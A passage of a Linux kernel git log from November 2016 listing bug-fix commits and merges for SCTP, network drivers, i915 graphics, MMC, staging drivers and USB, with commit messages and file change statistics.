changed, 2 insertions(+), 1 deletion(-) commit 7233bc84a3aeda835d334499dc00448373caf5c0 Author: Marcelo Ricardo Leitner Date: Thu Nov 3 17:03:41 2016 -0200 sctp: assign assoc_id earlier in __sctp_connect sctp_wait_for_connect() currently already holds the asoc to keep it alive during the sleep, in case another thread release it. But Andrey Konovalov and Dmitry Vyukov reported an use-after-free in such situation. Problem is that __sctp_connect() doesn't get a ref on the asoc and will do a read on the asoc after calling sctp_wait_for_connect(), but by then another thread may have closed it and the _put on sctp_wait_for_connect will actually release it, causing the use-after-free. Fix is, instead of doing the read after waiting for the connect, do it before so, and avoid this issue as the socket is still locked by then. There should be no issue on returning the asoc id in case of failure as the application shouldn't trust on that number in such situations anyway. This issue doesn't exist in sctp_sendmsg() path. Reported-by: Dmitry Vyukov Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Marcelo Ricardo Leitner Reviewed-by: Xin Long Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/socket.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit ee0475a5fc1a02115bf0df9207d4bb6c1abf7db1 Merge: 6a0c9f6 2271150 Author: David S. Miller Date: Mon Nov 7 13:17:31 2016 -0500 Merge branch 'phy-ref-leaks' Johan Hovold says: ==================== net: fix device reference leaks This series fixes a number of device reference leaks (and one of_node leak) due to failure to drop the references taken by bus_find_device() and friends. Note that the final two patches have been compile tested only. v2 - hold reference to cpsw-phy-sel device while accessing private data as requested by David. Also update the commit message. (patch 1/4) - add linux-omap on CC where appropriate ==================== Signed-off-by: David S. Miller commit 2271150bfb814b72ec57ae2fdf66e39da2eafafd Author: Johan Hovold Date: Thu Nov 3 18:40:22 2016 +0100 net: hns: fix device reference leaks Make sure to drop the reference taken by class_find_device() in hnae_get_handle() on errors and when later releasing the handle. Fixes: 6fe6611ff275 ("net: add Hisilicon Network Subsystem...") Cc: Yisen Zhuang Cc: Salil Mehta Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hnae.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 6bed0118012ea350acbe606ab3ae0ed3d60ed5f3 Author: Johan Hovold Date: Thu Nov 3 18:40:21 2016 +0100 net: ethernet: ti: davinci_emac: fix device reference leak Make sure to drop the references taken by bus_find_device() before returning from emac_dev_open(). Note that phy_connect still takes a reference to the phy device. Fixes: 5d69e0076a72 ("net: davinci_emac: switch to new mdio") Cc: Mugunthan V N Cc: Grygorii Strashko Cc: linux-omap@vger.kernel.org Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/davinci_emac.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit c7262aaace1b17a650598063e3b9ee1785fde377 Author: Johan Hovold Date: Thu Nov 3 18:40:20 2016 +0100 net: ethernet: ti: cpsw: fix device and of_node leaks Make sure to drop the references taken by of_get_child_by_name() and bus_find_device() before returning from cpsw_phy_sel(). Note that holding a reference to the cpsw-phy-sel device does not prevent the devres-managed private data from going away. Fixes: 5892cd135e16 ("drivers: net: cpsw-phy-sel: Add new driver...") Cc: Mugunthan V N Cc: Grygorii Strashko Cc: linux-omap@vger.kernel.org Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw-phy-sel.c | 3 +++ 1 file changed, 3 insertions(+) commit 17ae1c650c1ecf8dc8e16d54b0f68a345965f43f Author: Johan Hovold Date: Thu Nov 3 18:40:19 2016 +0100 phy: fix device reference leaks Make sure to drop the reference taken by bus_find_device_by_name() before returning from phy_connect() and phy_attach(). Note that both function still take a reference to the phy device through phy_attach_direct(). Fixes: e13934563db0 ("[PATCH] PHY Layer fixup") Cc: Florian Fainelli Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/phy/phy_device.c | 2 ++ 1 file changed, 2 insertions(+) commit b58ec8b5824717875b844a9e8cc62fc6eb5fd289 Merge: 17ce1b2 272d01b Author: Linus Torvalds Date: Mon Nov 7 10:16:23 2016 -0800 Merge tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux Pull arm64 fix from Will Deacon: "It's been pretty quiet on the fixes side of things for us, but Artem reported a build failure introduced during the merge window that appears with older GCCs that do not support asm goto. The fix is bigger than I'd like, but it's a mechnical move of some constants to break an include dependency between atomic.h and jump_label.h when !HAVE_JUMP_LABEL. Summary: - Fix build failure on compilers without asm goto" * tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux: arm64: Fix circular include of asm/lse.h through linux/jump_label.h commit 17ce1b201d8309ca9e23c063660a789fe3798704 Merge: 8cebec4 2c7a5c5 Author: Linus Torvalds Date: Mon Nov 7 10:14:47 2016 -0800 Merge tag 'openrisc-for-linus-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging Pull openrisc fix from Guenter Roeck: "Fix openrisc crash caused by ro_init changes" * tag 'openrisc-for-linus-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: openrisc: Define __ro_after_init to avoid crash commit 8cebec469b8b42359a2dcf9715bf74c49a755f6d Merge: c1f4c2b 38d8ed6 Author: Linus Torvalds Date: Mon Nov 7 10:13:10 2016 -0800 Merge tag 'hwmon-for-linus-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging Pull hwmon fix from Guenter Roeck: "Fix resource leak on devm_kcalloc failure" * tag 'hwmon-for-linus-v4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: hwmon: (core) fix resource leak on devm_kcalloc failure commit c1f4c2b28c11f6d042d15100b36a4ebba07c48b2 Merge: bc33b0c 4c4480a Author: Linus Torvalds Date: Mon Nov 7 10:05:39 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid Pull HID fixes from Jiri Kosina: - modprobe-after-rmmod load failure bugfix for intel-ish, from Even Xu - IRQ probing bugfix for intel-ish, from Srinivas Pandruvada - attribute parsing fix in hid-sensor, from Ooi, Joyce - other small misc fixes / quirky device additions * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid: HID: sensor: fix attributes in HID sensor interface HID: intel-ish-hid: request_irq failure HID: intel-ish-hid: Fix driver reinit failure HID: intel-ish-hid: Move DMA disable code to new function HID: intel-ish-hid: consolidate ish wake up operation HID: usbhid: add ATEN CS962 to list of quirky devices HID: intel-ish-hid: Fix !CONFIG_PM build warning HID: sensor-hub: Fix packing of result buffer for feature report commit 757124d95c42bb579d67df51e51789849929ee31 Author: Alex Deucher Date: Thu Nov 3 17:47:51 2016 -0400 drm/amdgpu: fix crash in acp_hw_fini On CZ/ST systems with AZ rather than ACP audio, we need to bail early in hw_fini since there is nothing to do. bug: https://bugs.freedesktop.org/show_bug.cgi?id=98276 Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 54905ab5fe7aa453610e31cec640e528aaedb2e2 Author: Chris Wilson Date: Mon Nov 7 11:01:28 2016 +0000 drm/i915: Limit Valleyview and earlier to only using mappable scanout Valleyview appears to be limited to only scanning out from the first 512MiB of the Global GTT. Lets presume that this behaviour was inherited from the display block copied from g4x (not Ironlake) and all earlier generations are similarly affected, though testing suggests different symptoms. For simplicity, impose that these platforms must scanout from the mappable region. (For extra simplicity, use HAS_GMCH_DISPLAY even though this catches Cherryview which does not appear to be limited to the low aperture for its scanout.) v2: Use HAS_GMCH_DISPLAY() to more clearly convey my intent about limiting this workaround to the old style of display engine. v3: Update changelog to reflect testing by Ville Syrjälä v4: Include the changes to the comments as well Reported-by: Luis Botello Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98036 Fixes: 2efb813d5388 ("drm/i915: Fallback to using unmappable memory for scanout") Signed-off-by: Chris Wilson Cc: Akash Goel Cc: Joonas Lahtinen Cc: Ville Syrjälä Cc: # v4.9-rc1+ Link: http://patchwork.freedesktop.org/patch/msgid/20161107110128.28762-1-chris@chris-wilson.co.uk Reviewed-by: Ville Syrjälä (cherry picked from commit 767a222e47cc13239d38018887f911fec06169ea) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit c4b8c570447a7bc171829532269878345b3ea9d0 Author: Chris Wilson Date: Mon Nov 7 10:54:43 2016 +0000 drm/i915: Round tile chunks up for constructing partial VMAs When we split a large object up into chunks for GTT faulting (because we can't fit the whole object into the aperture) we have to align our cuts with the fence registers. Each partial VMA must cover a complete set of tile rows or the offset into each partial VMA is not aligned with the whole image. Currently we enforce a minimum size on each partial VMA, but this minimum size itself was not aligned to the tile row causing distortion. Reported-by: Andreas Reis Reported-by: Chris Clayton Reported-by: Norbert Preining Tested-by: Norbert Preining Tested-by: Chris Clayton Fixes: 03af84fe7f48 ("drm/i915: Choose partial chunksize based on tile row size") Fixes: a61007a83a46 ("drm/i915: Fix partial GGTT faulting") # enabling patch Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98402 Testcase: igt/gem_mmap_gtt/medium-copy-odd Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Jani Nikula Cc: # v4.9-rc1+ Link: http://patchwork.freedesktop.org/patch/msgid/20161107105443.27855-1-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen (cherry picked from commit 0ef723cbceb6dce8116e75d44c5b8679b2eba69a) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61e0c5438866d0e737937fc35d752538960e1e9f Author: Dhinakaran Pandiyan Date: Wed Nov 2 13:13:21 2016 -0700 drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms According to BSpec, cdclk for BDW has to be not less than 432 MHz with DP audio enabled, port width x4, and link rate HBR2 (5.4 GHz). With cdclk less than 432 MHz, enabling audio leads to pipe FIFO underruns and displays cycling on/off. Let's apply this work around to GEN9 platforms too, as it fixes the same issue. v2: Move drm_device to drm_i915_private conversion Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97907 Cc: stable@vger.kernel.org Cc: Libin Yang Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Jani Nikula Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1478117601-19122-1-git-send-email-dhinakaran.pandiyan@intel.com (cherry picked from commit 9c7540241885838cfc7fa58c4a8bd75be0303ed1) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit fbb21c5202ae7f1e71e832b1af59fb047da6383e Author: Dhinakaran Pandiyan Date: Tue Nov 1 11:47:59 2016 -0700 drm/i915/dp: BDW cdclk fix for DP audio According to BSpec, cdclk for BDW has to be not less than 432 MHz with DP audio enabled, port width x4, and link rate HBR2 (5.4 GHz). With cdclk less than 432 MHz, enabling audio leads to pipe FIFO underruns and displays cycling on/off. From BSpec: "Display» BDW-SKL» dpr» [Register] DP_TP_CTL [BDW+,EXCLUDE(CHV)] Workaround : Do not use DisplayPort with CDCLK less than 432 MHz, audio enabled, port width x4, and link rate HBR2 (5.4 GHz), or else there may be audio corruption or screen corruption." Since, some DP configurations (e.g., MST) use port width x4 and HBR2 link rate, let's increase the cdclk to >= 432 MHz to enable audio for those cases. v4: Changed commit message v3: Combine BDW pixel rate adjustments into a function (Jani) v2: Restrict fix to BDW Retain the set cdclk across modesets (Ville) Cc: stable@vger.kernel.org Signed-off-by: Dhinakaran Pandiyan Reviewed-by: Ville Syrjälä Reviewed-by: Jani Nikula Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1478026080-2925-1-git-send-email-dhinakaran.pandiyan@intel.com (cherry picked from commit b30ce9e0552aa017ac6f2243f3c2d8e36fe52e69) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 27 ++++++++++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) commit cdffe3e252bb55e82ee89bbdfe8d2f18b6157c28 Author: Lyude Date: Wed Oct 26 12:36:09 2016 -0400 drm/i915/vlv: Prevent enabling hpd polling in late suspend One of the CI machines began to run into issues with the hpd poller suddenly waking up in the midst of the late suspend phase. It looks like this is getting caused by the fact we now deinitialize power wells in late suspend, which means that intel_hpd_poll_init() gets called in late suspend causing polling to get re-enabled. So, when deinitializing power wells on valleyview we now refrain from enabling polling in the midst of suspend. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98040 Fixes: 19625e85c6ec ("drm/i915: Enable polling when we don't have hpd") Signed-off-by: Lyude Cc: Ville Syrjälä Cc: Jani Saarinen Cc: Petry Latvala Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1477499769-1966-1-git-send-email-lyude@redhat.com (cherry picked from commit b64b540931483cca3200d98756bed6ad0e01d75c) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_runtime_pm.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8d83bc22b259e5526625b6d298f637786c71129f Author: Ville Syrjälä Date: Tue Oct 11 20:52:46 2016 +0300 drm/i915: Respect alternate_ddc_pin for all DDI ports The VBT provides the platform a way to mix and match the DDI ports vs. GMBUS pins. Currently we only trust the VBT for DDI E, which I suppose has no standard GMBUS pin assignment. However, there are machines out there that use a non-standard mapping for the other ports as well. Let's start trusting the VBT on this one for all ports on DDI platforms. I've structured the code such that other platforms could easily start using this as well, by simply filling in the ddi_port_info. IIRC there may be CHV system that might actually need this. v2: Include a commit message, include a debug message during init Cc: stable@vger.kernel.org Cc: Maarten Maathuis Tested-by: Maarten Maathuis Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97877 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476208368-5710-3-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Jim Bride (cherry picked from commit e4ab73a13291fc844c9e24d5c347bd95818544d2) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_hdmi.c | 84 ++++++++++++++++++++++----------------- 1 file changed, 48 insertions(+), 36 deletions(-) commit dc0336214eb07ee9de2a41dd4c81c744ffa419ac Author: Mike Marshall Date: Fri Nov 4 16:32:25 2016 -0400 orangefs: clean up debugfs We recently refactored the Orangefs debugfs code. The refactor seemed to trigger dan.carpenter@oracle.com's static tester to find a possible double-free in the code. While designing the fix we saw a condition under which the buffer being freed could also be overflowed. We also realized how to rebuild the related debugfs file's "contents" (a string) without deleting and re-creating the file. This fix should eliminate the possible double-free, the potential overflow and improve code readability. Signed-off-by: Mike Marshall Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-debugfs.c | 147 ++++++++++++++++++----------------------- fs/orangefs/orangefs-mod.c | 6 +- 2 files changed, 68 insertions(+), 85 deletions(-) commit 4db069a2bf990e278ea57ff615dcaa89b85376bd Author: Christophe JAILLET Date: Fri Nov 4 07:13:52 2016 +0100 drm/sun4i: Propagate error to the caller If 'sun4i_layers_init()' returns an error, propagate it instead of returning -EINVAL unconditionally. Signed-off-by: Christophe JAILLET Reviewed-by: Gustavo Padovan Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f Author: Fabio Estevam Date: Sat Nov 5 17:45:07 2016 -0200 mmc: mxs: Initialize the spinlock prior to using it An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock. In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts. Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28) Signed-off-by: Fabio Estevam Reviewed-by: Marek Vasut Signed-off-by: Ulf Hansson drivers/mmc/host/mxs-mmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fe1b5700c70faac6e027982d59667bc6020de5a8 Author: Ulf Hansson Date: Fri Nov 4 18:32:33 2016 +0100 mmc: mmc: Use 500ms as the default generic CMD6 timeout In the eMMC 4.51 version of the spec, an EXT_CSD field called GENERIC_CMD6_TIME[248] was added. This allows cards to specify the maximum time it may need to move out from its busy state, when a CMD6 command has been sent. In cases when the card is compliant to versions < 4.51 of the eMMC spec, obviously the core needs to use a fall-back value for this timeout, which currently is set to 10 minutes. This value is completely in the wrong range and importantly in some cases it causes a card initialization to take more than 10 minute to complete. Earlier this scenario was avoided as the mmc core used CMD13 to poll the card, to find out when it stopped signaling busy. Commit 08573eaf1a70 ("mmc: mmc: do not use CMD13 to get status after speed mode switch") changed this behavior. Instead of reverting that commit, which would cause other issues, let's instead start by picking a simple solution for the problem, by using a 500ms default generic CMD6 timeout. The reason for using exactly 500ms, comes from observations that shows it's quite common for cards to specify 250ms. 500ms is two times that value so likely it should be enough for most cards. Cc: # v4.8+ Fixes: 08573eaf1a70 ("mmc: mmc: do not use CMD13 to get status after speed mode switch") Signed-off-by: Ulf Hansson Tested-by: Stephen Boyd Tested-by: Linus Walleij drivers/mmc/core/mmc.c | 3 +++ 1 file changed, 3 insertions(+) commit be55f7bee39ed019713c5a1e930214e6d744fe0f Author: Adrian Hunter Date: Fri Nov 4 13:41:05 2016 +0200 mmc: mmc_test: Fix "Commands during non-blocking write" tests mmc_test_check_result_async() requires that struct mmc_async_req is contained within struct mmc_test_async_req. Fix the "Commands during non-blocking write" tests so that is the case. Fixes: 4bbb9aac9a9a ("mmc: mmc_test: Add tests for sending commands during transfer") Signed-off-by: Adrian Hunter Tested-by: Ritesh Harjani Signed-off-by: Ulf Hansson drivers/mmc/card/mmc_test.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 086b0ddbeff5317026417c29752129d28a216c66 Author: Adrian Hunter Date: Wed Nov 2 15:49:11 2016 +0200 mmc: sdhci: Fix missing enhanced strobe setting during runtime resume Restore enhanced strobe setting during runtime resume. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 4 ++++ 1 file changed, 4 insertions(+) commit fe5fb2e3b58f866f82a80fe7c7866ea6d0b306b9 Author: Adrian Hunter Date: Wed Nov 2 15:49:10 2016 +0200 mmc: sdhci: Reset cmd and data circuits after tuning failure To prevent subsequent commands failing, ensure the cmd and data circuits are reset after a tuning timeout. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 4 ++++ 1 file changed, 4 insertions(+) commit 69b962a65a547690a356f9f76bc4f53db538ac49 Author: Adrian Hunter Date: Wed Nov 2 15:49:09 2016 +0200 mmc: sdhci: Fix unexpected data interrupt handling In the busy response case (i.e. !host->data), an unexpected data interrupt would result in clearing the data command as though it had completed but without informing the upper layers and thus resulting in a hang. Fix by only clearing the data command for data interrupts that are expected. Signed-off-by: Adrian Hunter Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 6ebebeab5185f50d55c6a24d0abe47e5dac1b191 Author: Adrian Hunter Date: Wed Nov 2 15:49:08 2016 +0200 mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer CMD line reset during an ongoing data transfer can cause the data transfer to hang. Fix by delaying the reset until the data transfer is finished. Signed-off-by: Adrian Hunter Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci.c | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) commit e8a6123e9ead1b0d40349809e51de9341312fe08 Author: Lukas Wunner Date: Sun Oct 23 13:55:34 2016 +0200 x86/platform/intel-mid: Retrofit pci_platform_pm_ops ->get_state hook Commit cc7cc02bada8 ("PCI: Query platform firmware for device power state") augmented struct pci_platform_pm_ops with a ->get_state hook and implemented it for acpi_pci_platform_pm, the only pci_platform_pm_ops existing till v4.7. However v4.8 introduced another pci_platform_pm_ops for Intel Mobile Internet Devices with commit 5823d0893ec2 ("x86/platform/intel-mid: Add Power Management Unit driver"). It is missing the ->get_state hook, which is fatal since pci_set_platform_pm() enforces its presence. Andy Shevchenko reports that without the present commit, such a device "crashes without even a character printed out on serial console and reboots (since watchdog)". Retrofit mid_pci_platform_pm with the missing callback to fix the breakage. Acked-and-tested-by: Andy Shevchenko Fixes: cc7cc02bada8 ("PCI: Query platform firmware for device power state") Signed-off-by: Lukas Wunner Acked-by: Bjorn Helgaas Cc: linux-pci@vger.kernel.org Cc: Andy Shevchenko Link: http://lkml.kernel.org/r/7c1567d4c49303a4aada94ba16275cbf56b8976b.1477221514.git.lukas@wunner.de Signed-off-by: Thomas Gleixner arch/x86/include/asm/intel-mid.h | 1 + arch/x86/platform/intel-mid/pwr.c | 19 +++++++++++++++++++ drivers/pci/pci-mid.c | 6 ++++++ 3 files changed, 26 insertions(+) commit 68fae2f3df455f53d0dfe33483a49020b3b758f3 Author: Marc Dietrich Date: Tue Nov 1 13:59:40 2016 +0100 staging: nvec: remove managed resource from PS2 driver This basicly reverts commit e534f3e9 (staging:nvec: Introduce the use of the managed version of kzalloc). Serio struct should never by managed because it is refcounted. Doing so will lead to a double free oops on module remove. Signed-off-by: Marc Dietrich Fixes: e534f3e9429f ("staging:nvec: Introduce the use of the managed version of kzalloc") Cc: stable # 3.15+ Signed-off-by: Greg Kroah-Hartman drivers/staging/nvec/nvec_ps2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 Author: Paul Fertser Date: Thu Oct 27 17:22:09 2016 +0300 Revert "staging: nvec: ps2: change serio type to passthrough" This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad. This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead. Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent. A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section). Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Fixes: 36b30d6138f4 ("staging: nvec: ps2: change serio type to passthrough") Cc: stable # 3.4+ Signed-off-by: Greg Kroah-Hartman drivers/staging/nvec/nvec_ps2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d8f8a74d5fece355d2234e1731231d1aebc66b38 Author: Paul Fertser Date: Thu Oct 27 17:22:08 2016 +0300 drivers: staging: nvec: remove bogus reset command for PS/2 interface This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard. To prevent this from happening just let every party do its part of the job. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Cc: stable # 3.4+ Signed-off-by: Greg Kroah-Hartman drivers/staging/nvec/nvec_ps2.c | 4 ---- 1 file changed, 4 deletions(-) commit d9966f1de990577b49903061cfcea2d1e85353fb Author: Johan Hovold Date: Tue Nov 1 11:55:02 2016 +0100 staging: greybus: arche-platform: fix device reference leak Make sure to drop the device reference taken by of_find_device_by_node() before returning from arche_platform_change_state(). Note that this code is expected to be removed, but let's fix up the leak nonetheless. Fixes: 886aba558b9e ("greybus: arche-platform: Export fn to allow...") Signed-off-by: Johan Hovold Acked-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 1 + 1 file changed, 1 insertion(+) commit 55abe8165f31ffb83ce8b24da959b61362dca4c4 Author: Ian Abbott Date: Thu Oct 27 20:28:36 2016 +0100 staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value `ni_tio_clock_period_ps()` used to return the clock period in picoseconds, and had a `BUG()` call for invalid cases. It was changed to pass the clock period back via a pointer parameter and return an error for the invalid cases. Unfortunately the code to handle user-specified clock sources with user-specified clock period is still returning the clock period the old way, which can lead to the caller not getting the clock period, or seeing an unexpected error. Fix it by passing the clock period via the pointer parameter and returning `0`. Fixes: b42ca86ad605 ("staging: comedi: ni_tio: remove BUG() checks for ni_tio_get_clock_src()") Signed-off-by: Ian Abbott Cc: # 4.7+ Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_tio.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a33547cc764ca994d27a8fcc5fc61fbf4b2f7361 Author: Andrew Jeffery Date: Thu Nov 3 01:07:56 2016 +1030 pinctrl-aspeed-g5: Never set SCU90[6] If a pin depending on bit 6 in SCU90 is requested for GPIO, the export will succeed but changes to the GPIO's value will not be accepted by the hardware. This is because the pinmux driver has misconfigured the SCU by writing 1 to the reserved bit. The description of SCU90[6] from the datasheet is 'Reserved, must keep at value ”0”'. The fix is to switch pinmux from the bit-flipping macro to explicitly configuring the .enable and .disable values to zero. The patch has been tested on an AST2500 EVB. Fixes: 56e57cb6c07f (pinctrl: Add pinctrl-aspeed-g5 driver) Reported-by: Uma Yadlapati Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/pinctrl-aspeed-g5.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 33c027ae3cfd8fefb6cccccc5c6b2c07d80891ce Author: Huacai Chen Date: Thu Nov 3 12:48:43 2016 +0800 staging: sm750fb: Fix bugs introduced by early commits Early commit 30ca5cb63c56965 ("staging: sm750fb: change definition of PANEL_PLANE_TL fields") and 27b047bbe1ee9c0 ("staging: sm750fb: change definition of PANEL_PLANE_BR fields") modify the register bit fields definitions. But the modifications are wrong, because the bit mask of "bit field 10:0" is not 0xeff, but 0x7ff. The wrong definition bugs makes display very strange. Signed-off-by: Huacai Chen Cc: stable # 4.6+ Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_reg.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9bfef729a3d11f04d12788d749a3ce6b47645734 Author: Doug Brown Date: Fri Nov 4 21:18:20 2016 -0700 USB: serial: ftdi_sio: add support for TI CC3200 LaunchPad This patch adds support for the TI CC3200 LaunchPad board, which uses a custom USB vendor ID and product ID. Channel A is used for JTAG, and channel B is used for a UART. Signed-off-by: Doug Brown Cc: stable Signed-off-by: Johan Hovold drivers/usb/serial/ftdi_sio.c | 2 ++ drivers/usb/serial/ftdi_sio_ids.h | 6 ++++++ 2 files changed, 8 insertions(+) commit 7309aa847ead3fa561663b16779a0dde8c64cc7c Author: Oliver Neukum Date: Wed Nov 2 14:42:52 2016 +0100 cdc-acm: fix uninitialized variable variable struct usb_cdc_parsed_header h may be used uninitialized in acm_probe. In kernel 4.8. /* handle quirks deadly to normal probing*/ if (quirks == NO_UNION_NORMAL) ... goto skip_normal_probe; } we bypass call to cdc_parse_cdc_header(&h, intf, buffer, buflen); but later use h in if (h.usb_cdc_country_functional_desc) { /* export the country data */ Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Reported-by: Victor Sologoubov Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 2 ++ 1 file changed, 2 insertions(+) commit c289d0eff3d5a594c577c0dc162412a2cad075a4 Author: Babu Moger Date: Fri Oct 21 15:25:05 2016 -0700 drivers/usb: Skip auto handoff for TI and RENESAS usb controllers Never seen XHCI auto handoff working on TI and RENESAS cards. Eventually, we force handoff. This code forces the handoff unconditionally. It saves 5 seconds boot time for each card. Signed-off-by: Babu Moger Signed-off-by: Greg Kroah-Hartman drivers/usb/host/pci-quirks.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 2e52ec2394fb9486fd496737a84d629b2c992db2 Author: Kirill Esipov Date: Tue Nov 1 15:47:05 2016 -0500 usb: musb: remove duplicated actions Removing unnecessary duplicated actions that we've got while merging: Commit 19915e623458 ("Merge 4.1-rc7 into usb-next") [ b-liu@ti.com: added 'Commit' in the commit message ] Signed-off-by: Kirill Esipov Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 5 ----- 1 file changed, 5 deletions(-) commit 355f1a39183467d48f20d90adce3b4aa75c6b260 Author: David Lechner Date: Tue Nov 1 15:47:04 2016 -0500 usb: musb: da8xx: Don't print phy error on -EPROBE_DEFER This suppresses printing the error message "failed to get phy" in the kernel log when the error is -EPROBE_DEFER. This prevents usless noise in the kernel log. Signed-off-by: David Lechner Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/da8xx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e244978163836ffef635ecc57417f25332698f00 Merge: d6124b4 4320f9d Author: Greg Kroah-Hartman Date: Mon Nov 7 09:55:13 2016 +0100 Merge tag 'phy-for-4.9-rc' of git://git.kernel.org/pub/scm/linux/kernel/git/kishon/linux-phy into usb-linus Kishon writes: phy: for 4.9 -rc phy fixes: *) Add a empty function for phy_reset when CONFIG_GENERIC_PHY is not set *) change the phy lookup table for da8xx-usb to match it with the name present in the board configuraion file (used for non-dt boot) *) Fix incorrect programming sequence in w.r.t deassert of phy_rst in phy-rockchip-pcie *) Fix to avoid NULL pointer dereferencing error in sun4i phy Signed-off-by: Kishon Vijay Abraham I commit 